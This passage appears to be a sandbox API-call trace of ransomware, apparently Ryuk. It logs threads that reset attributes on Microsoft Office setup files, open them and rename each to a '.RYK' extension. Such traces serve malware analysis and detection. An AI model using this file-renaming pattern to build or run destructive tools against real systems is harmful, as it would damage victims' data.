	[0164.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", dwFileAttributes=0x80) returned 0
	[0164.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.572] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.572] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 256
	os_tid = 0xc10

	[0164.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0164.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.587] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.588] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 257
	os_tid = 0xc14

	[0164.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", dwFileAttributes=0x80) returned 0
	[0164.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.468] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.468] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 258
	os_tid = 0xc18

	[0164.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0164.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.595] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.595] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 260
	os_tid = 0xc20

	[0164.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", dwFileAttributes=0x80) returned 0
	[0164.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.598] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.598] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 261
	os_tid = 0xc24

	[0164.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0164.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.825] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.825] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 262
	os_tid = 0xc28

	[0164.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", dwFileAttributes=0x80) returned 0
	[0164.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.602] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.602] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 263
	os_tid = 0xc2c

	[0164.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0164.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.604] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.604] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 264
	os_tid = 0xc30

	[0164.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", dwFileAttributes=0x80) returned 0
	[0164.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.882] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 265
	os_tid = 0xc34

	[0164.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", dwFileAttributes=0x80) returned 0
	[0164.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.609] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.609] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 266
	os_tid = 0xc38

	[0164.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", dwFileAttributes=0x80) returned 0
	[0164.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.911] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.911] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 267
	os_tid = 0xc3c

	[0164.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", dwFileAttributes=0x80) returned 0
	[0164.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.937] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.937] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 268
	os_tid = 0xc40

	[0164.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", dwFileAttributes=0x80) returned 0
	[0165.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.481] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.482] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 269
	os_tid = 0xc44

	[0164.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", dwFileAttributes=0x80) returned 0
	[0164.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.951] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.951] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 270
	os_tid = 0xc48

	[0164.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", dwFileAttributes=0x80) returned 0
	[0164.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.955] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.955] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 271
	os_tid = 0xc4c

	[0164.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", dwFileAttributes=0x80) returned 0
	[0164.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.959] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.959] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 272
	os_tid = 0xc50

	[0164.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0164.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.962] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.962] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 273
	os_tid = 0xc58

	[0165.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", dwFileAttributes=0x80) returned 0
	[0165.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.623] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 274
	os_tid = 0xc5c

	[0165.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0165.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.625] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.626] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 275
	os_tid = 0xc60

	[0165.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", dwFileAttributes=0x80) returned 0
	[0165.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.423] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.423] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 276
	os_tid = 0xc64

	[0165.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", dwFileAttributes=0x80) returned 0
	[0165.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.450] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.451] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 277
	os_tid = 0xc68

	[0165.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0165.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.720] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.720] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 278
	os_tid = 0xc6c


Thread:
